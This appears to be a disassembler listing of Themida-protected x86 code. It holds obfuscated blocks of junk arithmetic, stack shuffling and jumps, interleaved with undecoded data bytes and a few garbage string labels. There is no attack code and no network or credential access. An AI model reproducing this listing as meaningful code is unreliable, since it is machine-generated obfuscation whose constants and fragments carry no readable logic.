		dd 0E924048Bh, 0F9CFh
; ---------------------------------------------------------------------------


loc_599540:				; CODE XREF: Themida_:005A082Fj
		mov	[esp], ecx
		push	ebx
		push	2D8E6554h
		jmp	loc_5A4702
; ---------------------------------------------------------------------------


loc_59954E:				; CODE XREF: Themida_:0059E3E6j
		xchg	ebp, ecx
		not	ebp
		xchg	ebp, ecx
		push	esi
		push	ecx
		pop	esi
		pop	ecx
		push	edi
		push	esi
		pop	edi
		jmp	loc_59804A
; ---------------------------------------------------------------------------


loc_599560:				; CODE XREF: Themida_:005A7B8Aj
		add	esi, 0FFFFFFFFh
		sub	esi, 1
		push	esi
		neg	dword ptr [esp]
		pop	esi
		add	esi, 5C110A8h
		sub	ebx, esi
		pop	esi
		sub	ebx, 648B5CBBh
		sub	ebx, 71DB4324h
		push	eax
		mov	eax, 774A10BBh
		xor	eax, 35CD0612h
		add	ebx, eax
		pop	eax
		add	ebx, esi
		jmp	loc_5A8699
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 0AB3F33C6h, 0ECF68144h, 0E938C8E5h, 0E6B0h
		dd 32AFE950h, 0FBB00000h, 0CA3BE9h, 241C8B00h, 0E904C483h
		dd 98B5h, 24048F5Ah, 241C895Ch,	8904EC83h, 0EE92414h, 810000F1h
		dd 1FE893C2h, 0C985E9DCh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5995E2:				; CODE XREF: Themida_:005A2E17j
		add	edx, edi
		pop	edi
		xchg	edx, [esp]
		pop	esp
		push	edi
		jmp	loc_59AC13
; ---------------------------------------------------------------------------
		db 0ADh
		dd 81E28952h, 4C2h, 4BE5600h, 29000000h, 9BE95EF2h
		db 2, 1, 0
; ---------------------------------------------------------------------------


loc_599607:				; CODE XREF: Themida_:005A87E8j
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xchg	ecx, [esp]
		jmp	loc_59D331
; ---------------------------------------------------------------------------
		dd 24048F58h, 2394685Ch, 1C890000h, 0BB24h, 8BE90000h
		dd 0BE0000F9h, 57DB996Fh, 0DD5DE9h, 4EDC100h, 4E91C581h
		dd 0EE01FFD5h, 57242C8Bh, 0C781E789h, 4, 4B850h, 0EF810000h
		dd 6C4E5F03h, 0C7E9C701h, 6600004Bh, 9C240421h,	0A434E9h
		dd 5AD03000h, 9E9C300h,	890000ACh, 4C281E2h, 0E9000000h
		dd 0DF4h
; ---------------------------------------------------------------------------


loc_59968C:				; CODE XREF: Themida_:0059D121j
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		jmp	loc_5AABEE
; ---------------------------------------------------------------------------
		db 89h,	0E7h, 81h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 74FF241Ch, 8F5B0424h
		dd 0F5C2404h, 9C2404A3h, 0FFC7CBE9h, 2434FFFFh,	0FF2434FFh
		dd 81582434h, 4C4h, 42516800h, 2C890000h, 64A46824h, 24890000h
		dd 24048124h, 4, 83242C8Bh, 25E904C4h, 8100010Bh, 0BF0726C7h
		dd 75EF8140h, 29223D2Ch, 4C47E9F7h, 2C310000h, 242C3324h
		dd 1015DE9h, 24343300h,	33243431h, 0E95C2434h, 8EB0h, 835DEB01h
		dd 2C8904ECh, 6BB5324h,	5064460Ch, 0D15635B8h, 64662D31h
		dd 85E96AE5h, 0BD0000E4h, 0EB92285h, 0FFD54FE9h, 190468FFh
		dd 0F5E90000h
		db 60h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599753:				; CODE XREF: Themida_:005A666Dj
		mov	dl, cl
		mov	al, dl
		pop	edx
		mov	bl, al
		pop	eax
		mov	ecx, [esp]
		push	38F2h
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A45A1
; ---------------------------------------------------------------------------
		dd 502E8C1h, 0FBF2DB93h, 1196B951h, 81490706h, 0FFFFFFC1h
		dd 7E1C1FFh, 5AE6E981h,	0CF014BBBh, 0FB12E959h,	0BF57FFFFh
		dd 653F2F08h, 0D0FAC781h, 0F9299AC0h, 240C335Fh, 0E9240C31h
		dd 0C829h
; ---------------------------------------------------------------------------


loc_5997BC:				; CODE XREF: Themida_:005A2F9Bj
		push	edx
		mov	edx, ebx
		mov	ecx, edx
		pop	edx
		pop	ebx
		xor	ecx, 582934CEh
		and	ecx, 67A54DCh
		shr	ecx, 3
		add	ecx, 85037FA1h
		xor	esi, ecx
		pop	ecx
		push	eax
		jmp	loc_59E62D
; ---------------------------------------------------------------------------
		db 53h,	0B3h, 7
		dd 0DC885066h, 0E388D4F6h, 0EB805866h, 1532E9D2h
		db 1, 0
; ---------------------------------------------------------------------------


loc_5997F6:				; CODE XREF: Themida_:0059D6BEj
		add	esi, ebp
		pop	ebp
		jmp	loc_5A0186
; ---------------------------------------------------------------------------
		dw 5451h
		dd 4C18159h, 83000000h,	0C8704E9h, 3C895C24h, 2D54BF24h
		dd 0E9563657h, 5DDBh, 8904EC83h, 7E92434h, 5BFFFFDEh, 3730E955h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59982E:				; CODE XREF: Themida_:0059AC0Ej
		push	ecx
		push	dword ptr [esp+4]
		jmp	loc_599939
; ---------------------------------------------------------------------------
		dd 4C481h, 0E9560000h, 78ACh, 43308B05h, 24148B7Ch, 0E904C483h
		dd 0FFFFC638h, 3C8BFA01h, 4C48324h, 3302C283h, 14312414h
		dd 24143324h, 0D224248Bh, 0E99C2424h, 0FFFFC618h, 81FA015Eh
		dd 315BB4EAh, 24C5E967h, 305B0000h, 0D02859CAh,	11B96E9h
		dd 34FF5400h, 1516E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599896:				; CODE XREF: Themida_:005A3EEAj
		mov	[esp], eax
		push	0F0Eh
		mov	[esp], ebx
		mov	eax, [esp]
		jmp	loc_59EA75
; ---------------------------------------------------------------------------
		align 2
		dw 5AF3h
		dd 0C4E97504h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5998B3:				; CODE XREF: Themida_:005A8C58j
		mov	edx, 50E54FABh
		sub	ecx, edx
		pop	edx
		sub	ecx, 6E0E58BEh
		add	ecx, edi
		sub	esp, 4
		mov	[esp], esi
		push	eax
		mov	eax, 74186C82h
		shr	eax, 8
		shl	eax, 1
		sub	eax, 53946E7Eh
		or	eax, 23DE5CAEh
		shr	eax, 4
		sub	eax, 9CEFA531h
		mov	esi, eax
		pop	eax
		add	ecx, esi
		pop	esi
		push	eax
		mov	eax, 43E70A62h
		push	0
		sub	[esp], eax
		pop	eax
		xor	eax, 0ECFDBA35h
		add	ecx, eax
		pop	eax
		push	ebx
		xor	dword ptr [esp], 73353301h
		pop	dword ptr [ecx]
		push	edx
		jmp	loc_59BBCB
; ---------------------------------------------------------------------------


loc_599916:				; CODE XREF: Themida_:0059DD04j
		pop	esi
		add	esp, 4
		or	eax, eax
		jz	loc_59DDCD
		push	1C92h
		jmp	loc_5A6C0B
; ---------------------------------------------------------------------------


loc_59992C:				; CODE XREF: Themida_:00596286j
		add	ebp, 0E843D093h
		add	esi, ebp
		jmp	loc_5A6D7B
; ---------------------------------------------------------------------------


loc_599939:				; CODE XREF: Themida_:00599833j
		pop	ecx
		jmp	loc_5A8211
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0F1E907E6h, 50000B8h, 376B5F8Fh, 8F2DD801h, 0E9376B5Fh
		dd 6504h, 6824248Bh, 49CDh, 0E9242C89h,	1135Fh,	0C085E580h
		dd 0D5F605E5h, 879E9h
		db 0
; ---------------------------------------------------------------------------


loc_599975:				; CODE XREF: Themida_:0059EF75j
		sub	ecx, 520E5431h
		mov	edx, [esp]
		add	esp, 4
		sub	[edi+24h], ecx
		mov	ecx, [esp]
		add	esp, 4


loc_599990:				; CODE XREF: Themida_:005AA190j
		push	2445h
		jmp	loc_5A5AC0
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 41836CFEh, 0E3DC89BEh, 0FAE957F6h, 8300004Fh, 0D2F7FFC2h
		dd 0F7F28742h, 81F287D6h, 0E6E28CAh, 48E94236h
		db 33h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5999C3:				; CODE XREF: Themida_:005AA857j
		add	dword ptr [esp+4], 46217B31h
		jmp	loc_595EE6
; ---------------------------------------------------------------------------


loc_5999D0:				; CODE XREF: Themida_:005A5BD3j
		xor	edi, 0AFFFEF7Bh
		mov	ebp, edi
		pop	edi
		push	eax
		mov	eax, 75EA127Ah
		inc	eax
		add	eax, 52C61CC2h
		shr	eax, 5
		shl	eax, 3
		shl	eax, 3
		xor	eax, 0F0BF1FA7h
		sub	ebx, eax
		jmp	loc_5A634D
; ---------------------------------------------------------------------------


loc_5999FA:				; CODE XREF: Themida_:005983A0j
		cmp	cx, ax
		pushf
		jmp	loc_595E8C
; ---------------------------------------------------------------------------
		db 81h
		dd 7E1EB7C2h, 0F3C28132h, 814D3118h, 526558F2h,	8BD60193h
		dd 0C4832414h, 4C68104h, 87000000h, 248B2434h, 24042924h
		dd 0C45AE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599A32:				; CODE XREF: Themida_:0059C49Cj
		push	esi
		mov	esi, 111622C2h
		push	ecx
		mov	ecx, 7C404F9Fh
		neg	ecx
		not	ecx
		jmp	loc_5A9DB6
; ---------------------------------------------------------------------------
		db 1
		dd 24148BD5h, 4C481h, 0E5C10000h, 0B9514504h, 4E5855F6h
		dd 0F181D1F7h, 0A904F766h, 0C6E9CD29h
		db 0F1h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_599A6B:				; CODE XREF: Themida_:00599CB4j
		mov	eax, [ecx]
		jmp	loc_597C60
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 709039C9h, 101BBE9h
		db 0
; ---------------------------------------------------------------------------


loc_599A7D:				; CODE XREF: Themida_:005A1F97j
		add	[esp+0Ch], ebx
		pop	ebx
		pop	ebx
		jmp	loc_59810C
; ---------------------------------------------------------------------------
		dd 0E9243489h, 0B7FFh
; ---------------------------------------------------------------------------


loc_599A90:				; CODE XREF: Themida_:00596E21j
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_5A7BFF
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 4C48324h, 10CAFE9h
		db 0
; ---------------------------------------------------------------------------


loc_599AA9:				; CODE XREF: Themida_:0059E449j
		pop	esp
		jmp	loc_59DB60
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 9CD0E95Ch, 0C3280000h, 289CB252h, 68665AD3h
		dd 8966630Fh, 4AB62414h, 0BAFFE9h
		db 0
; ---------------------------------------------------------------------------


loc_599AD5:				; CODE XREF: Themida_:005A6762j
		push	ebp
		mov	ebp, 53ED75B4h
		or	esi, ebp
		pop	ebp
		xor	esi, 70155329h
		add	ebx, esi
		jmp	loc_59C7ED
; ---------------------------------------------------------------------------
		db 52h
		dd 4BAh, 5AD70100h, 4EF81h, 3C870000h, 3C895C24h, 4BF24h
		dd 0ED810000h, 62FA32B2h, 4523ED81h, 0FD013545h, 4523C581h
		dd 0BF573545h, 62FA32B2h, 0E95FFD01h, 6BD6h
; ---------------------------------------------------------------------------


loc_599B28:				; CODE XREF: Themida_:005AA7B6j
		add	edx, ebx
		add	[edx], eax
		pop	edx
		pop	ebx
		pop	eax


loc_599B2F:				; CODE XREF: Themida_:0059D871j
		push	ebx
		push	edi
		push	5837h
		jmp	loc_5A811C
; ---------------------------------------------------------------------------
		db 66h
		dd 8324048Bh, 1C8904ECh, 34FF5424h, 0C4815B24h,	4, 196D68h
		dd 243C8900h, 0E705EABFh, 1ABE5649h, 1B618FAh, 0EB815EF7h
		dd 67A60BBFh, 0FFD75CE9h, 0C6C281FFh, 0E9578201h, 0FFFFC601h
		dd 6FEDE943h, 0EE810000h, 50151E70h, 5CE5C681h,	0BA5236C7h
		dd 70A03DCDh, 862EA81h,	0A4E95929h, 810000EBh, 63F7C3h
		dd 98EB8167h, 292D7448h, 685357C3h, 120F68C4h, 0EB81435Bh
		dd 5A0E4001h, 2752EB81h, 0C1433714h, 0C38107E3h, 0F1A77C3Bh
		dd 835BDF89h, 1C8904ECh, 20BBBB24h, 62E94C12h
		db 0E3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_599BDF:				; CODE XREF: Themida_:005961A0j
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_5A8801
; ---------------------------------------------------------------------------


loc_599BE8:				; CODE XREF: Themida_:005AA1F7j
		xor	ch, 0A9h
		xor	ch, 5Fh
		add	bl, ch
		pop	ecx
		jmp	loc_59F240
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 8AD38824h, 88052454h, 5B05245Ch, 0B2525359h,	66D2F6A4h
		dd 0D4B450h, 0B35866E2h, 8BD3008Fh, 89522414h, 4C281E2h
		dd 83000000h, 148704C2h, 24248B24h, 561EE9h, 0C895C00h
		dd 1A4D6824h, 1C890000h, 5013B324h, 11053E9h, 287FBB00h
		dd 0F3813074h, 0EE0DEA1Ch, 15BDF29h, 9A11E9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599C5A:				; CODE XREF: Themida_:005A8509j
		push	ebp
		jmp	loc_5A902A
; ---------------------------------------------------------------------------
		dd 24048966h, 0E968B3B0h, 0E9000056h, 0AFA5h, 5F2434FFh
		dd 0FF04C483h, 685A2434h, 2623h, 89241489h, 4BF57E2h, 81000000h
		dd 7236D8EAh, 0C6C4E90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_599C96:				; CODE XREF: Themida_:0059BF2Aj
		sub	dword ptr [esp], 5A4E20FEh
		mov	ecx, [esp]
		add	esp, 4
		add	ecx, 5A4E20FEh
		mov	eax, [esp]
		add	esp, 4
		add	ecx, edi
		jmp	loc_599A6B
; ---------------------------------------------------------------------------


loc_599CB9:				; CODE XREF: Themida_:005A62BEj
		shr	eax, 10h
		xor	eax, ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		push	esp
		mov	esi, [esp]
		add	esp, 4
		push	ecx
		push	eax
		mov	eax, 294A166Fh
		mov	ecx, 294A1673h
		sub	ecx, eax
		pop	eax
		sub	esi, 1F608E5h
		add	esi, ecx
		push	ebp
		mov	ebp, 68DC14ABh
		xor	ebp, 692A1C4Eh
		add	esi, ebp
		pop	ebp
		jmp	loc_5A9FF6
; ---------------------------------------------------------------------------


loc_599D03:				; CODE XREF: Themida_:005AAE3Dj
		pop	ecx
		dec	esi
		dec	esi
		xor	esi, 5071BF3h
		xor	ebx, esi
		jmp	loc_5A37CF
; ---------------------------------------------------------------------------


loc_599D13:				; CODE XREF: Themida_:005A3D9Aj
		mov	edx, 58CA1035h
		xor	edx, 4AD33596h
		jmp	loc_5A44AF
; ---------------------------------------------------------------------------


loc_599D23:				; CODE XREF: Themida_:0059C042j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 71973538h
		and	edi, 4D0F4F9Eh
		xor	edi, 4580672h
		or	edi, 7FE82FADh
		xor	edi, 0C6F3BB49h
		sub	edx, edi
		pop	edi
		mov	esi, edx
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5AA373
; ---------------------------------------------------------------------------


loc_599D62:				; CODE XREF: Themida_:005A60F0j
		pop	edx
		add	edi, ecx
		push	348Ah
		mov	[esp], ecx
		push	ebx
		jmp	loc_5985E0
; ---------------------------------------------------------------------------


loc_599D73:				; CODE XREF: Themida_:005A65BCj
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_59E82C
; ---------------------------------------------------------------------------
		db 88h
		dd 241C8BF9h, 0E904C483h, 3CDEh, 0FF2434FFh, 815A2434h
		dd 4C4h, 85685100h, 0E9000079h,	56A6h, 3304C183h, 0C31240Ch
		dd 0AEFAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599DBE:				; CODE XREF: Themida_:00598E08j
		sub	bh, 0EDh
		add	al, 0A3h
		sub	al, bh
		sub	al, 0A3h
		pop	ebx
		mov	dx, [esp]
		push	ecx
		mov	ecx, esp
		push	edi
		mov	edi, 50575450h
		shr	edi, 6
		neg	edi
		not	edi
		push	eax
		mov	eax, 4AC767CDh
		and	eax, 194569FEh
		jmp	loc_59E952
; ---------------------------------------------------------------------------
		dd 241C875Eh, 6624248Bh, 8124048Bh, 4ECh, 240C8900h, 0B53CE9h
		dd 243C8700h, 4360E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599E0E:				; CODE XREF: Themida_:005A66E9j
		xor	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 15FE00BDh
		jmp	loc_5988F9
; ---------------------------------------------------------------------------
		dd 4E981h, 0D2E90000h, 0BFFFFFD1h, 0
aWSic		db ')ßW[éIC',0
		dd 23E68100h, 0C12C6127h, 0E68106EEh, 6C9C45CBh, 6F82F681h
		dd 0B95119ADh, 68931048h, 7344E9h, 81DA2900h, 976900EAh
		dd 793AE91Dh, 0E5880000h, 0ECEE8058h, 3DE9EE28h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_599E77:				; CODE XREF: Themida_:0059804Cj
		push	139h
		mov	[esp], edi
		pop	eax
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_5A64B2
; ---------------------------------------------------------------------------


loc_599E91:				; CODE XREF: Themida_:005A70CDj
		mov	edi, 5ADA0872h
		shl	edi, 4
		not	edi
		sub	edi, 549E2C50h
		jmp	loc_59C8A8
; ---------------------------------------------------------------------------
aEqPgo		db 'EQ¹¯gŽ',0
		db 0E9h, 64h, 0EEh
		dd 2489FFFFh, 24048324h, 0B1E95B04h
		db 0CCh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_599EBF:				; CODE XREF: Themida_:00597722j
		mov	[esp], edi
		jmp	loc_5A3476
; ---------------------------------------------------------------------------
		db 0C0h
		dd 0F78003EFh, 8BF82839h, 0C481241Ch, 4, 6866B22Ch, 89661A40h
		dd 0EC812414h, 4, 9C5AE9h, 2B726800h, 0EC810000h, 4, 0E9242489h
		dd 0A1F2h, 5E2434FFh, 0FD36E9h
		db 0
; ---------------------------------------------------------------------------


loc_599F09:				; CODE XREF: Themida_:00597718j
		mov	edx, 69D57A0Bh
		neg	edx
		xor	edx, 2AD07B7h
		or	edx, 0B7C27F6h
		inc	edx
		add	edx, 0A71194A1h
		sub	eax, edx
		jmp	loc_59F622
; ---------------------------------------------------------------------------
		dw 772Dh
		dd 3105116Bh, 0CF2158C1h, 0FFDE7BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_599F39:				; CODE XREF: Themida_:0059CD6Aj
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		sub	edx, 30512420h
		sub	edx, 6BD514FAh
		add	edx, edi
		add	edx, 6BD514FAh
		add	edx, 30512420h
		jmp	loc_59BCBA
; ---------------------------------------------------------------------------
		db 58h,	80h, 0E1h
		dd 80C9FEA6h, 0CE88E3F1h, 6D82E9h, 0B3E95400h, 6800002Ah
		dd 19ED4F25h, 0BBE9525Eh, 10000AEh, 74C281CAh, 0E920BC5Eh
		dd 4CDAh, 98DBF681h, 0F029D331h, 0BFB4E95Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_599FA2:				; CODE XREF: Themida_:00599492j
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		jmp	loc_5A0EFF
; ---------------------------------------------------------------------------


loc_599FAD:				; CODE XREF: Themida_:005A635Aj
		xor	[esp], ebx
		jmp	loc_59D73C
; ---------------------------------------------------------------------------
		db 5Dh,	55h, 68h
		dd 4, 15F8E9h, 0C8B6600h, 0D64EE924h, 0EE81FFFFh, 2F774000h
		dd 83BEE81h, 0CE0178ABh, 83BC681h, 0C68178ABh, 2F774000h
		dd 0B7AAE9h, 5FFE2900h,	47E95159h, 5700002Ah, 4BFh, 6676E900h
		dd 81530000h, 20942434h, 555E700Eh, 1993BE56h, 0F58972C2h
		dd 234FE9h, 0BF665700h,	816672FBh, 66A1ABEFh, 0E9566657h
		dd 0A516h
; ---------------------------------------------------------------------------


loc_59A028:				; CODE XREF: Themida_:005A8946j
		pop	esi
		jmp	loc_5A69D1
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 0DB1FE924h, 0E95DFFFFh, 0FFFFEEF8h, 0D5F7EF87h, 10097E9h
		dd 4E95C00h, 6600007Bh,	0E924048Bh, 0A9E1h
; ---------------------------------------------------------------------------


loc_59A054:				; CODE XREF: Themida_:00596FB7j
		push	edi
		jmp	loc_5A7DA8
; ---------------------------------------------------------------------------
		dw 81ACh
		dd 4ECh, 24148900h, 88D8B450h, 0F28058E2h, 28E2804Ch, 5366C280h
		dd 0A4E9E389h, 6800003Eh, 17E9h, 5C75E9h, 46800h, 0E95B0000h
		dd 0FFFFFF6Eh, 0CE18E95Fh, 3C8BFFFFh, 4C48324h,	4AB3E9h
		db 0
; ---------------------------------------------------------------------------


loc_59A0A1:				; CODE XREF: Themida_:005A2220j
		pop	esp
		mov	[esp], ecx
		mov	ecx, 2EB92EFDh
		add	edx, 326666EEh
		push	ecx
		mov	ecx, 21A948A3h
		add	ecx, 2EE852F4h
		shl	ecx, 8
		and	ecx, 39774302h
		or	ecx, 1C839C6h
		inc	ecx
		sub	ecx, 0E9B2141Ch
		sub	edx, ecx
		pop	ecx
		add	edx, ecx
		add	edx, 282927ABh
		push	ebx
		mov	ebx, 326666EEh
		sub	edx, ebx
		pop	ebx
		pop	ecx
		add	edx, 419B20F9h
		add	edx, edi
		sub	edx, 419B20F9h
		jmp	loc_59A45D
; ---------------------------------------------------------------------------
		dw 0AB6h
		dd 0E9F0B753h, 0FFFFE6C3h, 6428B850h, 0D0F71F30h, 0AE7D0D0Dh
		dd 85E94832h, 5C00003Bh, 6EBEE9h, 2C212D00h, 0EE81F964h
		dd 7D1452C6h, 20EEEE81h, 19E94F09h, 0B70000AFh,	66F920FDh
		dd 1AB0505Bh, 8058C128h, 0EC8389E9h, 24048904h,	88CB8853h
		dd 241C8BDCh, 3C1F68h, 24348900h, 535E68h, 24248900h, 4240483h
		dd 4C6815Eh, 81000000h,	4C6h, 24348700h, 33E9535Ch, 5D0000AFh
		dd 0E904EC83h, 8AC0h, 0E6685653h, 0E94C0A3Ch, 0FFFFCFD1h
		dd 83242489h, 8F042404h, 4812404h, 424h, 2434FF00h, 0CAE95159h
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59A1AB:				; CODE XREF: Themida_:005A9DBCj
		xor	ecx, 0C9382BF5h
		jmp	loc_5A02F0
; ---------------------------------------------------------------------------


loc_59A1B6:				; CODE XREF: Themida_:005A888Dj
		push	ebp
		mov	ebp, 8855205h
		add	[esp+8], ebp
		pop	ebp
		pop	edi
		pop	eax
		add	eax, 7F5B7BBEh
		push	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5A7B8F
; ---------------------------------------------------------------------------


loc_59A1D4:				; CODE XREF: Themida_:0059E86Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5A5F76
; ---------------------------------------------------------------------------


loc_59A1DF:				; CODE XREF: Themida_:005A735Cj
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5A16DD
; ---------------------------------------------------------------------------
		dw 0F580h
		dd 0D9FFE907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A1F6:				; CODE XREF: Themida_:005A5503j
		sub	edx, eax
		pop	eax
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 8827BF4Ch
		add	ebp, 183C6747h
		add	ebp, ebx
		push	ecx
		mov	ecx, 200B612Eh
		shl	ecx, 8
		jmp	loc_5A8E40
; ---------------------------------------------------------------------------
		db 68h,	0FCh, 3
		dd 555B0000h, 1D79ABBDh, 5DEF011Bh, 0F7E9DF29h,	33000067h
		dd 2C31242Ch, 242C3324h, 6624248Bh, 6866E1F7h, 89666E76h
		dd 0A0E92414h, 0BB00006Bh, 62CC5F3Bh, 0E95BDA89h, 0FFFFF11Dh
; ---------------------------------------------------------------------------


loc_59A260:				; CODE XREF: Themida_:005A74C5j
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 4
		mov	ebx, ebp
		pop	ebp
		push	ebx
		jmp	loc_59927A
; ---------------------------------------------------------------------------
aSs2		db 'Sé2<',0
		dw 8900h
		dd 0E389241Ch, 0CDBD5557h, 0BF529909h, 0AD66F637h, 0FC59E9h
		dd 0E9D32800h, 0FFFFBF8Fh, 1EB2E681h, 0EE81039Dh, 6D1B0307h
		dd 1C38C681h, 0F6815565h, 449550CBh, 642EF681h,	0F029808Eh
		dd 1120CE9h, 241C3300h,	33241C31h, 0C8E9241Ch
		db 0D6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A2CB:				; CODE XREF: Themida_:0059D0E0j
		pop	esp
		add	ecx, ebx
		pop	ebx
		inc	ecx
		jmp	loc_5A3E6E
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		db 5Ch,	53h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esp
		jmp	loc_5A8620
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
		dd 58545024h, 405h, 0D5A4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A306:				; CODE XREF: Themida_:005AAF93j
		mov	[esp], edx
		push	esp
		pop	edx
		jmp	loc_5AB212
; ---------------------------------------------------------------------------
		dd 2C91B850h, 0AC2575A5h, 56521226h, 230A82BEh,	0E1B1E92Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A326:				; CODE XREF: Themida_:005A0E7Bj
		pop	esi
		add	dword ptr [esp+4], 3D01395Ch
		add	dword ptr [esp+4], 2DAF7384h
		push	dword ptr [esp]
		pop	edi
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5A32AE
; ---------------------------------------------------------------------------


loc_59A352:				; CODE XREF: Themida_:005A37D0j
		pop	edi
		jmp	loc_598CC4
; ---------------------------------------------------------------------------
		dd 582434FFh, 4C481h, 26E90000h, 59000090h, 0E13BD55h
		dd 0E5C17081h, 0F7DDF708h, 89BCE9D5h, 0D1310000h, 3A28E95Ah
		dd 0C7830000h, 243C8704h, 0DFC6E9h, 4C68100h, 81000000h
		dd 4C6h, 0C8E95600h, 680000FAh,	5B65h, 56241C89h, 0D465AEBEh
		dd 3FF7E930h, 0FA890000h, 52243C8Bh, 0C281E289h, 4, 82CE9h
		db 0
; ---------------------------------------------------------------------------


loc_59A3C5:				; CODE XREF: Themida_:005A5B91j
		push	1AA432DAh
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A082A
; ---------------------------------------------------------------------------
		db 89h,	0F9h, 0FFh
		dd 515F2434h, 0C181E189h, 4, 4C181h, 0C870000h,	0D230E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59A3F2:				; CODE XREF: Themida_:005A2F17j
		mov	ebp, edi
		mov	ebx, ebp
		mov	ebp, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ebx
		xor	dword ptr [esp], 27CA58FFh
		pop	eax
		jmp	loc_5A3A21
; ---------------------------------------------------------------------------


loc_59A417:				; CODE XREF: Themida_:0059F261j
		xchg	eax, ebp
		xchg	eax, [esp]
		jmp	loc_59A93D
; ---------------------------------------------------------------------------
		dd 5C8015Eh, 68066312h,	4EC81h,	34890000h, 782BBE24h, 0EE873544h
		dd 0EE87DDF7h, 0EEC1DEF7h, 0FAE68106h, 0F72B1B10h, 0AAF681DEh
		dd 1C5B3BEh, 1BE9F0h, 0EE290000h, 0D4FFE9h
		db 0
; ---------------------------------------------------------------------------


loc_59A45D:				; CODE XREF: Themida_:0059A0F5j
		push	ebp
		jmp	loc_5A55BA
; ---------------------------------------------------------------------------
		db 86h
		dd 0D4E950C2h, 5300010Fh, 0EACCE9h, 0C8B5E00h, 0EE1FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A47A:				; CODE XREF: Themida_:0059D4A6j
		push	ebx
		jmp	loc_59CB34
; ---------------------------------------------------------------------------
		dd 4C281h, 0B9E90000h, 810000B3h, 4C1h,	2B685000h, 89000057h
		dd 2682434h, 5E000000h,	24048B56h, 4C481h, 348B0000h, 17E6E924h
		dd 93680000h, 89000021h, 18E92404h, 8300010Bh, 0C8904ECh
		dd 0CC2BE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59A4CA:				; CODE XREF: Themida_:0059DE21j
		mov	ebp, [esp]
		jmp	loc_59FBA5
; ---------------------------------------------------------------------------


loc_59A4D2:				; CODE XREF: Themida_:005A68B7j
		sub	edx, ecx
		pop	ecx
		jmp	loc_59B161
; ---------------------------------------------------------------------------
		dw 1C87h
aI4THnw		db '$\‰4$T^h­W',0
		align 4
		dd 0BA241489h, 288B5088h, 0BD555355h, 7C3861E1h, 0E94D454Dh
		dd 14A8h, 24048B66h, 224268h, 240C8900h, 78E95954h, 31FFFFFFh
		dd 2BB951D8h, 0E935F33Ah, 0FFFFC736h, 7EC5815Eh, 551DEF01h
